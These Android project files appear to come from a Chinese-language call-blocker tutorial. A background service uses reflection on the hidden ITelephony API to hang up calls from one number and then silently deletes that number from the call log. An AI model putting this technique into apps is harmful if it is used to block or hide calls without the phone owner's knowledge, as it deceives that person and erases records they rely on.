ringing or call waiting. * @return true if the phone state is RINGING. */ boolean isRinging(); /** * Check if the phone is idle. * @return true if the phone state is IDLE. */ boolean isIdle(); /** * Check to see if the radio is on or not. * @return returns true if the radio is on. */ boolean isRadioOn(); /** * Check if the SIM pin lock is enabled. * @return true if the SIM pin lock is enabled. */ boolean isSimPinEnabled(); /** * Cancels the missed calls notification. */ void cancelMissedCallsNotification(); /** * Supply a pin to unlock the SIM. Blocks until a result is determined. * @param pin The pin to check. * @return whether the operation was a success. */ boolean supplyPin(String pin); /** * Supply puk to unlock the SIM and set SIM pin to new pin. * Blocks until a result is determined. * @param puk The puk to check. * pin The new pin to be set in SIM * @return whether the operation was a success. */ boolean supplyPuk(String puk, String pin); /** * Handles PIN MMI commands (PIN/PIN2/PUK/PUK2), which are initiated * without SEND (so <code>dial</code> is not appropriate). * * @param dialString the MMI command to be executed. * @return true if MMI command is executed. */ boolean handlePinMmi(String dialString); /** * Toggles the radio on or off. */ void toggleRadioOnOff(); /** * Set the radio to on or off */ boolean setRadio(boolean turnOn); /** * Request to update location information in service state */ void updateServiceLocation(); /** * Enable location update notifications. */ void enableLocationUpdates(); /** * Disable location update notifications. */ void disableLocationUpdates(); /** * Enable a specific APN type. */ int enableApnType(String type); /** * Disable a specific APN type. */ int disableApnType(String type); /** * Allow mobile data connections. */ boolean enableDataConnectivity(); /** * Disallow mobile data connections. */ boolean disableDataConnectivity(); /** * Report whether data connectivity is possible. */ boolean isDataConnectivityPossible(); Bundle getCellLocation(); /** * Returns the neighboring cell information of the device. */ List<NeighboringCellInfo> getNeighboringCellInfo(); int getCallState(); int getDataActivity(); int getDataState(); /** * Returns the current active phone type as integer. * Returns TelephonyManager.PHONE_TYPE_CDMA if RILConstants.CDMA_PHONE * and TelephonyManager.PHONE_TYPE_GSM if RILConstants.GSM_PHONE */ int getActivePhoneType(); /** * Returns the CDMA ERI icon index to display */ int getCdmaEriIconIndex(); /** * Returns the CDMA ERI icon mode, * 0 - ON * 1 - FLASHING */ int getCdmaEriIconMode(); /** * Returns the CDMA ERI text, */ String getCdmaEriText(); /** * Returns true if OTA service provisioning needs to run. * Only relevant on some technologies, others will always * return false. */ boolean needsOtaServiceProvisioning(); /** * Returns the unread count of voicemails */ int getVoiceMessageCount(); /** * Returns the network type */ int getNetworkType(); /** * Return true if an ICC card is present */ boolean hasIccCard(); /** * Return if the current radio is LTE on CDMA. This * is a tri-state return value as for a period of time * the mode may be unknown. * * @return {@link Phone#LTE_ON_CDMA_UNKNOWN}, {@link Phone#LTE_ON_CDMA_FALSE} * or {@link PHone#LTE_ON_CDMA_TRUE} */ int getLteOnCdmaMode(); }
package com.shellway.endcall; import android.support.v7.app.ActionBarActivity; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //这里我们让应用一启动就开始一个服务 Intent intent = new Intent(this,EndCallService.class); startService(intent); } }
package com.shellway.endcall; import java.lang.reflect.Method; import com.android.internal.telephony.ITelephony; import android.app.Service; import android.content.Context; import android.content.Intent; import android.database.ContentObserver; import android.net.Uri; import android.os.Handler; import android.os.IBinder; import android.provider.CallLog.Calls; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class EndCallService extends Service { private TelephonyManager tm; private MyPhoneStateListener listener; @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); listener = new MyPhoneStateListener(); tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } private class MyPhoneStateListener extends PhoneStateListener { @Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://闲置状态 break; case TelephonyManager.CALL_STATE_OFFHOOK://通话状态 break; case TelephonyManager.CALL_STATE_RINGING://响铃状态 /** * Android里面所有的底层服务都是交给了一个类ServiceManager来管理,我们可以用Everything工具来找到这个类 * 这个类里面有IBinder getService(String name),void addService(String name,IBinder service) * 这里我们要想得到Android给我们提供好的挂断电话方法endCall(),就得先得到它给我们返回的IBinder对象 * 然后把它转成ITelephoneService */ endcall(incomingNumber); break; default: break; } } public void endcall(String incomingNumber){ if(incomingNumber.equals("5558")){ try { //这里为了搞到ServiceManager里的getService返回给我们一个IBinder对象,用了反射实现 Class clazz = Class.forName("android.os.ServiceManager"); Method method = clazz.getMethod("getService", String.class); //这个是代理对象,我们还要对它进行转化 IBinder service = (IBinder) method.invoke(null, Context.TELEPHONY_SERVICE); ITelephony ibinder = ITelephony.Stub.asInterface(service); ibinder.endCall(); //注册一个内容提供者 getContentResolver().registerContentObserver(Calls.CONTENT_URI, true, new MyContentObserver(incomingNumber)); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } } private class MyContentObserver extends ContentObserver{ private String incomingNumber; public MyContentObserver(String incomingNumber) { super(new Handler()); // TODO Auto-generated constructor stub this.incomingNumber = incomingNumber; } @Override public void onChange(boolean selfChange) { // TODO Auto-generated method stub super.onChange(selfChange); //删除通话记录 通过记录的存储是一个异步的操作 Uri uri = Calls.CONTENT_URI; getContentResolver().delete(uri, "number = ?", new String[]{"5558"}); //取消内容观察者 getContentResolver().unregisterContentObserver(this); } } } }
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context="com.shellway.endcall.MainActivity" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/hello_world" /> </RelativeLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.endcall" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <!-- 监听电话状态的权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 挂断电话需要同打电话一样的权限 --> <uses-permission android:name="android.permission.CALL_PHONE"/> <!-- 读、写通话记录的权限 --> <uses-permission android:name="android.permission.READ_CALL_LOG"/> <uses-permission android:name="android.permission.WRITE_CALL_LOG"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".EndCallService"></service> </application> </manifest>